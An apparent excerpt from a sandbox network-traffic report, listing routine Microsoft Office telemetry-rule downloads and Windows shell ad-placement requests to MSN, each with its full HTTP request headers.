Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004214Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6649908b6772448cbc9763bcc4828dfe&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601584&metered=false&nettype=ethernet&npid=sc-338389&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601584&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p=Cache-Control: no-cacheMS-CV: EQesx1DStkiSeXDi.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004214Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9da34b389e574a6cbec3ef91fd5890fd&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601584&metered=false&nettype=ethernet&npid=sc-310091&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601584&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p=Cache-Control: no-cacheMS-CV: EQesx1DStkiSeXDi.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
